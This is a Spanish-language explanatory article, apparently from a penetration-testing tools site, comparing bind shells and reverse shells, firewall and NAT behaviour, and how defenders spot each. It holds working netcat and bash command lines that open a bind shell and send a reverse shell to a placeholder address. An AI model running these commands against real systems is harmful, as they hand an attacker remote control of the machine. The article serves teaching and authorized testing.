Bind shell vs reverse shell: cuál usar y por qué
La diferencia entre una bind shell y una reverse shell, por qué las reverse shells ganan a través de firewalls y NAT, y los casos en los que una bind shell sigue siendo la opción correcta.
Las bind shells y las reverse shells resuelven el mismo problema — obtener una sesión interactiva en un objetivo — y difieren en exactamente una cosa: quién abre la conexión. Esa única diferencia decide cuál funciona en una red dada, y conviene elegirla de forma deliberada en lugar de recurrir a la reverse shell por costumbre.
Las definiciones
Una bind shell hace que el objetivo escuche. El objetivo enlaza una shell a un puerto y espera; tú te conectas hacia él. El objetivo es el servidor, tú eres el cliente.
# target listens, you connect in
target$ nc -lvnp 4444 -e /bin/sh
you$ nc TARGET_IP 4444
Una reverse shell hace que el objetivo se conecte hacia fuera, hacia ti. Tú ejecutas el listener; el objetivo llama a casa.
# you listen, target connects out
you$ nc -lvnp 443
target$ bash -i >& /dev/tcp/YOUR_IP/443 0>&1
Si la idea de la dirección de la conexión te resulta nueva, empieza por qué es una reverse shell.
Por qué las reverse shells suelen ganar
El factor decisivo es el firewall, y los firewalls son asimétricos. Las reglas de ingress (entrada) son casi siempre estrictas — las conexiones no solicitadas a un puerto alto aleatorio de un objetivo se descartan, y si el objetivo está detrás de NAT no hay siquiera una dirección enrutable a la que conectarse. Las reglas de egress (salida) son casi siempre laxas, porque los usuarios necesitan navegar por la web; los puertos de salida 443 y 80 están abiertos en casi todas partes.
Una bind shell depende de que puedas alcanzar un puerto de entrada abierto en el objetivo. Una reverse shell depende de que el objetivo pueda alcanzarte en un puerto de salida común. En el mundo real la segunda condición se cumple mucho más a menudo, y por eso las reverse shells son la opción por defecto.
Cuándo una bind shell es realmente mejor
No siempre, eso sí. Recurre a una bind shell cuando:
- No tienes un listener accesible desde el objetivo. Si el objetivo no puede enrutar hacia ti — estás detrás de tu propio NAT sin redirección de puertos, o no hay una ruta de red compartida — no puede llamar a casa, pero quizá tú aún puedas alcanzarlo a él.
- El objetivo tiene un puerto de entrada enrutable y poco filtrado — algo común en pivotes internos y redes de laboratorio planas.
- Quieres una sesión reconectable. Una bind shell se queda esperando, así que puedes reconectarte tras una caída sin volver a disparar la ejecución; una reverse shell desaparece en cuanto muere la conexión.
La detección también difiere
Desde la perspectiva de un defensor, ambas se ven distintas en la red, lo cual importa cuando además estás probando la detección. Una bind shell se manifiesta como un host que de repente está escuchando en un puerto inusual y aceptando conexiones entrantes. Una reverse shell se manifiesta como una conexión de salida desde un servidor que no tiene por qué hacerla — un host de base de datos marcando hacia una IP desconocida por el 443. Saber qué firma estás generando es parte de una prueba minuciosa; consulta detectar reverse shells.
Genera cualquiera de las dos
El generador de reverse shell se centra en la dirección inversa — la que querrás la inmensa mayoría de las veces — con payloads para cada shell común y el listener correspondiente adjunto. Decide primero la dirección con las reglas de arriba y luego genera el payload.
Solo pruebas autorizadas
Sea cual sea la dirección que elijas, úsala únicamente contra sistemas de tu propiedad o que tengas autorización explícita para probar. La técnica es idéntica independientemente de la intención; la autorización es lo que la hace legítima.